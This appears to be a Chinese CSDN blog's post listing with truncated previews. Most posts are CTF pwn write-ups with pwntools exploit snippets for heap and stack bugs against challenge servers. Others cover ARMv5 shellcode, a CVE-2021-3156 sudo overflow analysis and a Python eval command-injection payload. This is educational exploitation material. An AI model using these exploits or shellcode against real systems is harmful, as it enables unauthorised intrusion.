- 博客(117)
- 资源 (3)
- 收藏
- 关注
原创 Armv5_shellcode
Armv5_shellcode背景: 由于在pwntools生成的shellcode默认Armv7语法无法在Armv5指令集芯片下执行,所以写了以下shellcode便于漏洞的利用,此shellcode为Armv5上亲测可使用且无NULL byte,此shellcode主要是对栈进行了操作,未对代码段与数据段进行修改。适用场景: 1.目标适用busybox 2.有栈溢出或者其他可以劫持程序流程漏洞 3.内存中布置好此段shellcode,且能执行适用busybox/*#exec
2022-04-14 19:16:58
2891
原创 getshell本质与深入探究
title: 反弹shellcode本质与深入探究date: 2022-03-24 14:25:01tags:PWNgetshell本质与深入探究目标 在做CTF-PWN方向题目时,总体流程就是分析漏洞程序、然后写利用脚本、攻击本地环境、攻击靶机环境得到flag,但是在攻击本地时为什么会获得本地的shell,同时攻击远程靶机时又为什么会获得远程靶机的shell呢?同样当我们攻击一个IOT设备时,会发现使用CTF-PWN中的方法不能够得到一个交互式的shell,今天就来一探究竟基础 首先.
2022-03-26 18:21:19
5176
原创 什么是uboot与bios?
title: what is uboot and bios?date: 2022-03-17 17:24:27tags:前言preface 最近在漏洞挖掘过程中,涉及到了一些基础的知识比如BIOS,uboot,qemu模拟的方面。 首先开始我们需要了解机器是怎么运行的 一般我们使用的机器都是windows或者Linux,(本人是高端MAC本🤣),什么是BIOS?他有什么用,他做了什么?按下开机键的时候机器干了啥? 问: 计算机是最讲逻辑,他会按照他的规则去运行,但是我们不知道.
2022-03-24 14:32:27
4542
原创 cve-2021-3156分析
cve-2021-3156首先了解sudoedit这个命令是在干什么使用sudoedit命令可以以另外一个用户身份编辑文件-u 以指定用户运行命令-g 以指定主要组群运行命令-n 防止提示用户输入密码这个漏洞听说估计是很早就出现了是一个堆溢出,漏洞点在 for (size = 0, av = NewArgv + 1; *av; av++) size += strlen(*av) + 1; if (size == 0 || (user_args = malloc(siz
2021-01-28 14:25:09
1207
1
原创 大吉杯--ctf.show
easyrop简单栈溢出,将返回地址写成ROP然后在data段布置shellcode跳过去执行即可,我写了2段估计有大师傅分分钟秒解开from pwn import *context.terminal=['tmux','splitw','-h']#p=process("./easyrop")p=remote("111.231.70.44",28092)offset=64context.arch='amd64'sl=asm(shellcraft.sh())shellcode='''pop
2021-01-25 15:44:10
667
原创 pwnbale.tw Secret Garden
思路我是做了3次double free其实不需要这么多次em,其实可以构造堆块重叠的但是我看可以直接并且远程也很稳定就用double free了,先打malloc_hook打不同(好像可以使用realloc_hook调栈)我的思路是将stderr的flag值写成/bin/sh,虚表写成堆地址然后布置好system在exit函数调用fllush函数的时候触发overflow调用就会调用system("/bin/sh"),shell很稳定不错嘻嘻from pwn import *#p=process(".
2020-12-30 18:35:11
320
原创 pwnable.kr seethefile
忙里偷闲-------一道伪造_IO_file结构体的题目发现文件结构体指针直接放在bss段上我们可以修改,很明显就是让我们伪造_IO_FILE结构体了,根据程序逻辑我们需要仔细阅读fclose函数分析源码ing_IO_new_fclose (_IO_FILE *fp){ int status; CHECK_FILE(fp, EOF);#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1) /* We desperately try to help
2020-12-14 16:57:48
354
1
原创 pwn-湖湘杯2020
from pwn import *p=process('./bh')elf=ELF('./bh')libc=elf.libccontext.terminal=['tmux','splitw','-h']def menu(idx): p.sendlineafter(">>",str(idx))def add(): menu(1)def show(idx): menu(2) p.sendlineafter("index?\n",str(idx))de
2020-11-04 10:36:23
553
1
原创 base64隐写
import sysdef get_base64_diff_value(s1, s2):base64chars = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/’res = 0for i in xrange(len(s1)):if s1[i] != s2[i]:return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))return resd
2020-11-01 21:56:18
505
1
原创 picoctf_2018_echooo
发现是简单的32位格式化字符串但是并且flag存了栈上,直接泄漏就行了,但是内存是小端存储的,所以倒序输出即可exp:from pwn import *#p=process('./PicoCTF_2018_echooo')p=remote('node3.buuoj.cn',26798)offset=11flag=''for i in range(27,27+11): payload='%{}$p'.format(str(i)) p.sendlineafter('> ',p
2020-09-23 15:56:43
557
原创 羊城杯
签到简单的uafrom pwn import *context.terminal = ['tmux', 'splitw', '-h']#p=process('./sg')p=remote('183.129.189.60',10029)elf=ELF('./sg')libc=elf.libcdef add(size,name,mess): p.sendlineafter(': ','1') p.sendlineafter(':',str(size)) p.sendlineafter('
2020-09-15 20:45:54
589
原创 记录护网暂停的日常(ciscn2020)
这几天我真的是忙的一就记录一下这几天的pwn的思路国赛pwn开始看no_free想到了house of orange但是不太会利用,堆学的不是很好.jpg但是之后做就是感觉来了,晚上做了2到成功以分区十几名的成绩进入了分区赛,希望大佬们轻点打钓鱼城杯就帮队伍做了2个pwn,真的难无法F5还是队友厉害3个pwnbabyjsc这个硬是被玩成了签到,python的input函数有eval的功能就直接命令执行了如图所示>>> input()__import__("os").sys
2020-08-28 14:03:40
1131
原创 root_me_stack_buffer_overflow_basic
ARM pwn简单的栈溢出,就是环境搭建的问题调试出偏移0xa4,发现啥保护没有开,还泄漏了栈地址,就直接ret2shellcode了from pwn import *#p=process(qemu-arm -g 1234 -L /usr/arm-linux-gnueabihf/ ./root_me_stack_buffer_overflow_basiac"])p=remote("node3.buuoj.cn",27876)p.sendlineafter('Give me data to dump
2020-08-10 13:43:09
580
原创 pwn更换libc的方法
是不是常常为pwn的不同ubuntu环境而困扰)小声我也是这里分享一个patchelf的方法首先下载patchelf然后执行着2条即可以import osos.system("patchelf --set-interpreter /libc-ld.so/{} ./pwn1").format(your_input)#这里是将链接器准备好os.system("patchelf --set-rpath /libc-ld.so/{} ./pwn1").format()#这里是将libc文件加载上
2020-08-05 21:10:06
1948
1
原创 SCTF2020
Snake在输入的地方有一次off by one的机会通过构造堆块重叠然后做2次double free改写got拿到shellexp:from pwn import *p=remote('39.107.244.116',9999)#p=process('./snake')elf=ELF('./snake')libc=elf.libcdef add(idx,size,data): p.sendlineafter('name','1') p.sendlineafter('?',str(id
2020-07-06 09:50:42
1608
原创 ciscn_2019_s_1
思路通过off by null写key值然后unlink写bss段再次double free写free_hook即可拿到shellexp:from pwn import *#p=process('./ciscn_s_1')p=remote('node3.buuoj.cn',26429)elf=ELF('./ciscn_s_1')libc=elf.libcdef add(idx,size,data): p.sendlineafter('show','1') p.sendlineafte
2020-06-29 19:13:51
817
2
原创 actf_2019_actfnote
思路通过溢出将topchunk的位置向上提然后申请堆块即可完成一次任意地址写入exp:#!/usr/bin/python2from pwn import *#p=process('./ACTF_2019_ACTFNOTE')p=remote('node3.buuoj.cn',26474)elf=ELF('./ACTF_2019_ACTFNOTE')libc=elf.libcdef add(size,name,content): p.sendlineafter('$ ','1') p.
2020-06-22 22:58:59
609
原创 RCTF-2015 nobug
思路有一个格式化字符串的漏洞int sub_8048B32(){ int v0; // eax const char *v1; // eax v0 = strlen(s); v1 = sub_804869D(s, v0, 0); return snprintf(byte_804A8A0, 0x800u, v1);}题目没有开nx我们可以直接布置好shellcode然后跳过去观察栈发现一个地方可以利用.text:08048BD7 sub
2020-06-07 21:48:14
742
原创 5月DASCTF
帮帮小红吧命令盲注是我没有想到的cat /flag |grep 'BJD{' || sleep(3);密码bbcrypto题目# -*- coding:utf-8 -*-import A,SALTfrom itertools import *def encrypt(m, a, si): c="" for i in range(len(m)): c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill
2020-05-24 18:02:24
1349
3
原创 考研学校的爬虫(自己写的可能会有点菜
最近因为准备考研所以就把要考研的学校的招生简章给爬了下来开机启动我爬我怕我忘了最新的学校通告所以才写的首先确定目标~~url="你要的学校"然后这里我观察
2020-05-18 11:40:22
858
原创 requests模块总结
get先导入模块import requestsrep=requests.get(url)返回一个对象可调用的常用方法有rep.text//返回网页的字符串文本会有编码问题rep.content//返回访问的二进制文件常用于爬取图片等文件rep.encoding//返回页面的编码rep.status_code//返回页面的状态码rep.header//返回相应头字典的形式rep.ok//查看是否登入成功r.json//这里搞一篇文章单独讲url里面传递参数pararms={'id
2020-05-12 22:47:16
309
原创 de1ctf_2019_weapon
这题我多了一个换行搞了老久了服了还是tcl思路有uaf通过写IO来得到libc地址然后通过double free来拿到shellexp:#!/usr/bin/python2from pwn import *p=0def pwn(): global p #p=process('./de1ctf_2019_weapon') p=remote('node3.buuoj.cn',292...
2020-05-06 13:50:18
740
原创 5月份36dctf
exec_comm.constprop+1162kaishellPWN_MengxinStack栈不会了orz就是基本的栈溢出操控libc_start_main这个函数来控制程序流程需要将返回地址爆破到libc_start_main+176然后就是基本的ROP了exp:#!/usr/bin/python2from pwn import *p=0def pwn(ip,port,deb...
2020-05-04 21:35:32
455
1
原创 x_nuca_2018_0gadget
思路在bss段上有构造uaf然后劫持got表即可exp:#!/usr/bin/python2from pwn import *def pwn(): #p=process('./X-nuca_2018_0gadget') p=remote('node3.buuoj.cn',27565) elf=ELF('./X-nuca_2018_0gadget') libc=elf.libc ...
2020-04-30 16:52:08
347
原创 2020安恒4月赛pwn(看看还能不能更)
orz没赶上回家已经5点半了就回顾了一下pwn题挺好的出的思路就是uaf控制好堆块然后写到got表leaklibc然后再次做一次写free为system即可exp:#!/usr/bin/python2from pwn import *def pwn(): p=process('./sales_office') elf=ELF('./sales_office') libc=ELF...
2020-04-25 20:34:20
761
原创 ciscn_2019_sw_7
思路堆溢出orztcache不要全部写坏不然难搞exp:#!/usr/bin/python2from pwn import *p=0def pwn(ip,port,debug): global p if debug==1: p=process('./ciscn_2019_sw_7') elf=ELF('./ciscn_2019_sw_7') libc=elf.libc...
2020-04-23 18:55:05
357
原创 NPUCTF pwn
题目质量很高萌新直接自闭z这2道题都挺基础的easy_heapexp:off by one 造成了任意地址写的漏洞#!/usr/bin/python2from pwn import *p=0def pwn(): global p #p=process('./pwn') p=remote('ha1cyon-ctf.fun',30179) elf=ELF('./pwn') l...
2020-04-21 22:03:31
788
原创 ciscn_2019_sw_1
思路通过格式化字符串是程序无限循环(__do_global_dtors_aux_fini_array_entry内存的地址写成main函数地址)我们是通过libc_start_main调用main函数不管是在man函数调用前后都会调用fini函数的指针所以只要将其写坏即可然后将print_got表写成system即可拿到shellexp:from pwn import *#p=proce...
2020-04-16 20:42:54
639
原创 ciscn_2019_es_4
思路先unlink将地址key写好然后做一次off by one在tcache attack就行了exp:#!/usr/bin/python2from pwn import *#p=process('./ciscn_2019_es_4')p=remote('node3.buuoj.cn',25382)elf=ELF('./ciscn_2019_es_4')libc=elf.libc...
2020-04-08 15:45:43
430
原创 noxctf2018_grocery_list&&actf_2019_message
noxctf2018_grocery_list先是观察函数发现有一个可以泄露栈地址然后通过tcache attack打到栈上泄露libcbase然后再次写入free_hook拿到shellexp:#!/usr/bin/python2from pwn import *#p=process('./GroceryList')p=remote('node3.buuoj.cn',26988)e...
2020-03-17 22:45:24
553
原创 高校战疫网络安全分享赛pwn复盘
就做了一个pwn我tcl但是收获很多woodenbox2这道题有先是用chunk overlop然后将unsortbin切割到fastbin(此时unsortbin与fastbin指向了同一个堆块)通过堆溢出将低位覆盖为stdout上面的位置然后写IO_FILE结构体leaklibc基址然后通过fastbin attack打malloc_hook即可IO_FILE结构体的知识可看一下h...
2020-03-10 13:46:09
889
2
原创 ciscn_2019_c_3
思路通过后门函数改fd然后tcache dump打到free_hook即可exp:#!/usr/bin/python2from pwn import *#p=process('./ciscn_2019_c_3')p=remote('node3.buuoj.cn',29374)elf=ELF('./ciscn_2019_c_3')libc=elf.libcdef add(size...
2020-03-04 14:06:11
436
原创 suctf2018_heap
suctf2018_heap这道题会一次性申请2个相同大小的chunk做的时候有点逻辑混乱深深的怀疑本来是ubuntu16的环境…思路 :off by one打成堆重叠写到指针段写atoi为system拿shellexp:from pwn import *#p=process('./offbyone')p=remote('node3.buuoj.cn',26238)elf=ELF(...
2020-02-27 22:25:22
398
原创 hg2020 pwn
打了我就记录一下(有点记不太清了有点久了~~)Annevi这道题是做2次unlink然后写got表即可#!/usr/bin/python2from pwn import *local=0if local==1: p=process('./Annevi') elf=ELF('./Annevi') libc=elf.libcelse: p=remote('47.103.214....
2020-02-23 22:17:08
544
原创 新春战疫公益赛(二)pwn
第一天和第三天直接被爆锤自己已经尽力了武汉加油!!!borrowstack就是基本的栈迁移exp:from pwn import *from LibcSearcher import *#p=process('./borrowstack')p=remote('123.56.85.29',3635)elf=ELF('./borrowstack')libc=elf.libcbss...
2020-02-23 22:07:48
856
2
原创 cmcc_simplerop
思路明显rop可以用工具但是需要自己调一下长度ememexp:from pwn import *from struct import pack#io=process('./simplerop')io=remote('node3.buuoj.cn',27913)io.recvuntil(':')# Padding goes herep = 'a'*0x14+p32(1)*3p +...
2020-02-20 10:36:28
1091
2
原创 shanghai2019_boringheap
思路abs函数(取绝对值)的溢出使得为负数然后改size构造2个指针指向同一chunk完成一次double free为远程ubuntu18即可以直接打free_hookexp:from pwn import *#p=process('./pwn')p=remote('node3.buuoj.cn',26942)elf=ELF('./pwn')libc=elf.libcdef ad...
2020-02-18 21:14:03
391
原创 X-nuca_2018_offbyone2
思路off by null构造堆重叠然这里的堆块个数充足直接打2次第一次leak libc基址再次布置好堆块然后打free_hook拿到shellexp:from pwn import *#p=process('./X-nuca_2018_offbyone2')p=remote('node3.buuoj.cn',28262)elf=ELF('./X-nuca_2018_offbyo...
2020-02-11 14:26:33
519
1
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人